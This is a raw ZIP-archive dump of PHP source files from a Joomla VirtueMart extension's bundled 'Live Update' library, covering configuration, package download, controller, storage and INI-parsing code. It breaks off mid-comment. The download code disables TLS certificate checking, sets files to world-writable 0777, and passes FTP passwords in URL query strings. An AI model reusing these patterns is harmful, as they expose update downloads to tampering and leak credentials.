$class = 'liveupdate-icon-crashed'; $img .= 'nosupport-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CRASHED'); } elseif($updateInfo->hasUpdates) { // Has updates $class = 'liveupdate-icon-updates'; $img .= 'update-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_UPDATES'); } else { // Already in the latest release $class = 'liveupdate-icon-noupdates'; $img .= 'current-32.png'; $lbl = JText::_('LIVEUPDATE_ICON_CURRENT'); } return ''; } }PK@y>\wtW-components/com_virtuemart_allinone/index.htmlnuW+APK@y>\w8lff=components/com_virtuemart_allinone/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PK@y>\1k+϶!!7components/com_virtuemart_allinone/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PK@y>\  3components/com_virtuemart_allinone/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $model = $this->getModel(); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PK@y>\gE9components/com_virtuemart_allinone/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PK@y>\+dLL;components/com_virtuemart_allinone/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PK@y>\://=components/com_virtuemart_allinone/classes/storage/index.htmlnuW+A PK@y>\)<components/com_virtuemart_allinone/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PK@y>\? @components/com_virtuemart_allinone/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PK@y>\ǘ[77>components/com_virtuemart_allinone/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PK@y>\8\8components/com_virtuemart_allinone/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PK@y>\?$$:components/com_virtuemart_allinone/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core 